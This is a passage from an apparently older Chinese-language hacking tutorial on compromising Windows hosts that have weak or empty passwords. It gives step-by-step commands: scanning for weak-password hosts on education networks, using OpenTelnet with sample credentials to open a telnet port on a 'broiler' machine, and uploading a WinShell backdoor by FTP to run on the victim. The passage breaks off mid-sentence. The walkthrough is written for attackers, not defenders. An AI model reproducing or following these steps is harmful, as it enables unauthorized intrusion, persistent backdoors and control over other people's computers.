這里我用20cn開發(fā)的scanipc
不一會就會掃到很多有弱口令的主機(jī)(就我的經(jīng)驗在教育網(wǎng)上這樣的主機(jī)比較多)
第二步：連接剛掃的肉雞
這里我用opentelnet給掃描到開了空口令的主機(jī)開個端口讓我們telnet連接上去
,開了23端口，并可以連接上的主機(jī)就不用進(jìn)行次步驟了!
Opentelnet使用方法:
OpenTelnet.exe server <帳號> <密碼>
列如:
C:>OpenTelnet.exe 192.168.1.2 administrator 123456 1 90 用戶名：administrator 密碼：123456
NTLM認(rèn)證方式:1(也可以選擇0請自己測試) 開的端口：90
運行完，如果屏幕上出現(xiàn) Disconnecting server...Successfully! 就說明已經(jīng)成功。
這樣，我們就能夠得到一個開90端口的Telnet服務(wù)器了。
Telnet 192.168.1.2 90
這樣就可以登錄上去了。
第三步：配置并安裝后門程序
這里我選擇WinShell(小巧精干我喜歡)，用winshell主程序設(shè)置好后門，然后把后門程序傳到臺FTP空間上！
列如:
c:>ftp
ftp>open www.cnwill.com
然后輸入用戶名字 密碼把后門傳上去mput c:cnwill.exe
現(xiàn)在我們登陸到肉雞上 Telnet 192.168.1.2 90
把剛上傳的后門程序并運行(別忘記刪除 后門程序)
[上傳后門也可以用net命令完成。
